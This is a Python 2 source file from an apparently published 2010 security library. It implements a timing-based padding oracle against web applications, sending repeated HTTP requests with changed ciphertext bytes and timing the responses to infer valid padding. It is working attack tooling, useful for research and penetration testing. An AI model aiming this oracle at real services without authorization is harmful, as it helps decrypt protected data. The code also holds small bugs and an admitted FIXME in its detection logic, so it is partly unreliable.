1 | ''' |
---|
2 | Created on Sep 21, 2010 |
---|
3 | |
---|
4 | Copyright (C) 2010 ELOI SANFÈLIX |
---|
5 | @author: Eloi Sanfelix < eloi AT limited-entropy.com > |
---|
6 | |
---|
7 | This program is free software: you can redistribute it and/or modify |
---|
8 | it under the terms of the GNU Lesser General Public License, version 3, |
---|
9 | as published by the Free Software Foundation. |
---|
10 | |
---|
11 | This program is distributed in the hope that it will be useful, |
---|
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of |
---|
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
---|
14 | GNU General Public License for more details. |
---|
15 | |
---|
16 | You should have received a copy of the GNU General Public License |
---|
17 | along with this program. If not, see <http://www.gnu.org/licenses/>. |
---|
18 | ''' |
---|
19 | |
---|
20 | from time import * |
---|
21 | from urllib import urlencode |
---|
22 | from urllib2 import * |
---|
23 | import struct |
---|
24 | import urllib2 |
---|
25 | |
---|
26 | class TimingWebPaddingOracle: |
---|
27 | |
---|
28 | def __init__(self, url , encoder = None, decoder = None, requests=100,headers = {}): |
---|
29 | #Initialize Request with URL and headers |
---|
30 | #self.req = Request(url,headers) |
---|
31 | self.url = url |
---|
32 | self.headers = headers |
---|
33 | self.data = {} |
---|
34 | self.oracle_name = "" |
---|
35 | self.oracle_value = "" |
---|
36 | self.time_threshold = None |
---|
37 | self.requests = requests |
---|
38 | |
---|
39 | if(encoder== None and decoder!=None) or (encoder!=None and decoder==None): |
---|
40 | print("ERROR: Encoder and decoder must be both set or not set at all. Disabling both.") |
---|
41 | self.encoder = None |
---|
42 | self.decoder = None |
---|
43 | else: |
---|
44 | self.encoder = encoder |
---|
45 | self.decoder = decoder |
---|
46 | |
---|
47 | def add_variable(self,name,value, oracle=False): |
---|
48 | if(oracle): |
---|
49 | #Data is defined as being vulnerable to oracle attack. |
---|
50 | self.oracle_name = name |
---|
51 | self.oracle_value = value |
---|
52 | else: |
---|
53 | #Add to dictionary with data |
---|
54 | self.data[name] = value |
---|
55 | |
---|
56 | def analyze_normal_request(self): |
---|
57 | |
---|
58 | newdict = self.data.copy() |
---|
59 | newdict[self.oracle_name] = self.oracle_value |
---|
60 | r = urlencode(newdict) |
---|
61 | #r = "" |
---|
62 | #for i in self.data: |
---|
63 | # r = r + str(i)+"="+urlencode(self.data[i])+"&" |
---|
64 | #r = r + str(self.oracle_name) + "=" + urlencode(self.oracle_value) |
---|
65 | return self.analyze_request(r) |
---|
66 | |
---|
67 | def analyze_request(self,data): |
---|
68 | t = 0 |
---|
69 | for i in range(self.requests): |
---|
70 | t += self.perform_request(data) |
---|
71 | return t/self.requests |
---|
72 | |
---|
73 | def perform_request(self,r): |
---|
74 | t = time.time() |
---|
75 | req = Request(self.url,self.headers) |
---|
76 | req.add_data(r) |
---|
77 | f = urllib2.urlopen(req) |
---|
78 | f.read() # Read result from page |
---|
79 | t = time.time() - t |
---|
80 | return t |
---|
81 | |
---|
82 | def test_oracle(self): |
---|
83 | if(self.oracle_name == None or self.oracle_value == None): |
---|
84 | print("ERROR: Cannot test_oracle if no oracle variable defined") |
---|
85 | return |
---|
86 | |
---|
87 | #Perform 'normal' analysis first |
---|
88 | time1 = self.analyze_normal_request() |
---|
89 | |
---|
90 | #Decode value if needed |
---|
91 | if(self.decoder != None): |
---|
92 | value = self.decoder(self.oracle_value) |
---|
93 | else: |
---|
94 | value = self.oracle_value |
---|
95 | |
---|
96 | oracle_list = [struct.unpack("B", value[i])[0] for i in range(len(value))] |
---|
97 | |
---|
98 | oracle_list[-1] ^= 0xFF #Ensure we always start with a different value |
---|
99 | |
---|
100 | for b in range(256): |
---|
101 | # XOR current counter. Last byte is now b^0xFF^i = ~b ^ i |
---|
102 | oracle_list[-1] ^=b |
---|
103 | v = "".join([struct.pack("B", i) for i in oracle_list]) |
---|
104 | if (self.encoder != None): |
---|
105 | v = self.encoder(v) |
---|
106 | |
---|
107 | newdict = self.data.copy() |
---|
108 | newdict[self.oracle_name] = v |
---|
109 | r = urlencode(newdict) |
---|
110 | |
---|
111 | #And return to original value |
---|
112 | oracle_list[-1] ^=b |
---|
113 | |
---|
114 | time2 = self.analyze_request(r) |
---|
115 | |
---|
116 | #FIXME most likely this will find a difference |
---|
117 | if(time1 != time2): |
---|
118 | print("Found difference for i="+hex(b)) |
---|
119 | print("Original timing: " + str(time1)) |
---|
120 | print("Bad timing: " + str(time2)) |
---|
121 | self.time_threshold = abs(time1 - time2) / 2 + min(time1,time2) |
---|
122 | if(time1 > time2): |
---|
123 | self.oracle_type = 0x01 #Normal timing is higher than threshold |
---|
124 | else: |
---|
125 | self.oracle_type = 0x02 #Normal timing is lower than threshold |
---|
126 | return True |
---|
127 | print("ERROR: Could not find a difference.") |
---|
128 | return False |
---|
129 | |
---|
130 | def oracle(self,ctext): |
---|
131 | if(self.time_threshold == None): |
---|
132 | print("ERROR: Oracle not defined!") |
---|
133 | else: |
---|
134 | |
---|
135 | newdict = self.data.copy() |
---|
136 | if(self.encoder != None): |
---|
137 | ctext = self.encoder(ctext) #Encode ciphertext before sending request if needed |
---|
138 | newdict[self.oracle_name] = ctext |
---|
139 | |
---|
140 | r = urlencode(newdict) |
---|
141 | t = self.analyze_request(r) |
---|
142 | |
---|
143 | if (self.oracle_type == 0x01 ): |
---|
144 | ret = self.time_threshold < t #Padding is correct if time above threshold |
---|
145 | else: |
---|
146 | ret = self.time_threshold > t #Padding is incorrect if time above threshold |
---|
147 | return ret |
---|
148 | |
---|
149 | def set_threshold(self,threshold): |
---|
150 | self.time_threshold = threshold |
---|
151 | |
---|
152 | def set_type(self,type): |
---|
153 | self.oracle_type = type #0x01 means correct padding takes more time |
---|
154 | |
---|
155 | def hex_string(self,data): |
---|
156 | return "".join([ hex(ord(i))+" " for i in data]) |
---|